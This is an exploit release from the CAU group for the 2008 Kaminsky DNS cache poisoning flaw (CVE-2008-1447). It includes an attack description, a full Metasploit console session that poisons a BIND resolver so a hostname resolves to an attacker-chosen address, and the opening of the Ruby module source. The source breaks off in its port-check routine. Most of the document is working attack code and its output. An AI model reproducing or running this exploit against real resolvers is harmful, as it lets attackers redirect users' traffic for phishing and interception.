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Computer Academic Underground
http://www.caughq.org
Exploit Code
===============/========================================================
Exploit ID: CAU-EX-2008-0002
Release Date: 2008.07.23
Title: bailiwicked_host.rb
Description: Kaminsky DNS Cache Poisoning Flaw Exploit
Tested: BIND 9.4.1-9.4.2
Attributes: Remote, Poison, Resolver, Metasploit
Exploit URL: http://www.caughq.org/exploits/CAU-EX-2008-0002.txt
Author/Email: I)ruid <druid (@) caughq.org>
H D Moore <hdm (@) metasploit.com>
===============/========================================================
Description
===========
This exploit targets a fairly ubiquitous flaw in DNS implementations
which allow the insertion of malicious DNS records into the cache of the
target nameserver. This exploit caches a single malicious host entry
into the target nameserver. By causing the target nameserver to query
for random hostnames at the target domain, the attacker can spoof a
response to the target server including an answer for the query, an
authority server record, and an additional record for that server,
causing target nameserver to insert the additional record into the
cache.
Example
=======
# /msf3/msfconsole
_ _ _ _
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| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
| | | | | | __/ || (_| \__ \ |_) | | (_) | | |_
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
| |
|_|
=[ msf v3.2-release
+ -- --=[ 298 exploits - 124 payloads
+ -- --=[ 18 encoders - 6 nops
=[ 72 aux
msf > use auxiliary/spoof/dns/bailiwicked_host
msf auxiliary(bailiwicked_host) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
HOSTNAME pwned.example.com yes Hostname to hijack
NEWADDR 1.3.3.7 yes New address for hostname
RECONS 208.67.222.222 yes Nameserver used for reconnaissance
RHOST yes The target address
SRCPORT yes The target server's source query port (0 for automatic)
XIDS 10 yes Number of XIDs to try for each query
msf auxiliary(bailiwicked_host) > set RHOST A.B.C.D
RHOST => A.B.C.D
msf auxiliary(bailiwicked_host) > check
[*] Using the Metasploit service to verify exploitability...
[*] >> ADDRESS: A.B.C.D PORT: 48178
[*] >> ADDRESS: A.B.C.D PORT: 48178
[*] >> ADDRESS: A.B.C.D PORT: 48178
[*] >> ADDRESS: A.B.C.D PORT: 48178
[*] >> ADDRESS: A.B.C.D PORT: 48178
[*] FAIL: This server uses static source ports and is vulnerable to poisoning
msf auxiliary(bailiwicked_host) > set SRCPORT 0
SRCPORT => 0
msf auxiliary(bailiwicked_host) > run
[*] Switching to target port 48178 based on Metasploit service
[*] Targeting nameserver A.B.C.D
[*] Querying recon nameserver for example.com.'s nameservers...
[*] Got answer with 2 answers, 0 authorities
[*] Got an NS record: example.com. 172643 IN NS ns89.worldnic.com.
[*] Querying recon nameserver for address of ns89.worldnic.com....
[*] Got answer with 1 answers, 0 authorities
[*] Got an A record: ns89.worldnic.com. 172794 IN A 205.178.190.45
[*] Checking Authoritativeness: Querying 205.178.190.45 for example.com....
[*] ns89.worldnic.com. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Got an NS record: example.com. 172643 IN NS ns90.worldnic.com.
[*] Querying recon nameserver for address of ns90.worldnic.com....
[*] Got answer with 1 answers, 0 authorities
[*] Got an A record: ns90.worldnic.com. 172794 IN A 205.178.144.45
[*] Checking Authoritativeness: Querying 205.178.144.45 for example.com....
[*] ns90.worldnic.com. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Attempting to inject a poison record for pwned.example.com. into A.B.C.D:48178...
[*] Sent 1000 queries and 20000 spoofed responses...
[*] Sent 2000 queries and 40000 spoofed responses...
[*] Sent 3000 queries and 60000 spoofed responses...
[*] Sent 4000 queries and 80000 spoofed responses...
[*] Sent 5000 queries and 100000 spoofed responses...
[*] Sent 6000 queries and 120000 spoofed responses...
[*] Sent 7000 queries and 140000 spoofed responses...
[*] Poisoning successful after 7000 attempts: pwned.example.com == 1.3.3.7
[*] Auxiliary module execution completed
msf auxiliary(bailiwicked_host) >
msf auxiliary(bailiwicked_host) > nslookup pwned.example.com A.B.C.D
[*] exec: nslookup pwned.example.com A.B.C.D
Server: A.B.C.D
Address: A.B.C.D#53
Non-authoritative answer:
Name: pwned.example.com
Address: 1.3.3.7
Credits
=======
Dan Kaminsky is credited with originally discovering this vulnerability.
References
==========
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447
http://www.kb.cert.org/vuls/id/800113
Metasploit
==========
require 'msf/core'
require 'net/dns'
require 'scruby'
require 'resolv'
module Msf
class Auxiliary::Spoof::Dns::BailiWickedHost < Msf::Auxiliary
include Exploit::Remote::Ip
def initialize(info = {})
super(update_info(info,
'Name' => 'DNS BailiWicked Host Attack',
'Description' => %q{
This exploit attacks a fairly ubiquitous flaw in DNS implementations which
Dan Kaminsky found and disclosed ~Jul 2008. This exploit caches a single
malicious host entry into the target nameserver by sending random sub-domain
queries to the target DNS server coupled with spoofed replies to those
queries from the authoritative nameservers for the domain which contain a
malicious host entry for the hostname to be poisoned in the authority and
additional records sections. Eventually, a guessed ID will match and the
spoofed packet will get accepted, and due to the additional hostname entry
being within bailiwick constraints of the original request the malicious host
entry will get cached.
},
'Author' => [ 'I)ruid', 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 5585 $',
'References' =>
[
[ 'CVE', '2008-1447' ],
[ 'US-CERT-VU', '8000113' ],
[ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.txt' ],
],
'Privileged' => true,
'Targets' =>
[
["BIND",
{
'Arch' => ARCH_X86,
'Platform' => 'linux',
},
],
],
'DisclosureDate' => 'Jul 21 2008'
))
register_options(
[
OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.example.com']),
OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']),
OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']),
OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]),
OptInt.new('TTL', [true, 'TTL for the malicious host entry', 31337]),
], self.class)
end
def auxiliary_commands
return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" }
end
def cmd_check(*args)
targ = args[0] || rhost()
if(not (targ and targ.length > 0))
print_status("usage: check [dns-server]")
return
end
print_status("Using the Metasploit service to verify exploitability...")
srv_sock = Rex::Socket.create_udp(
'PeerHost' => targ,
'PeerPort' => 53
)
random = false
ports = []
lport = nil
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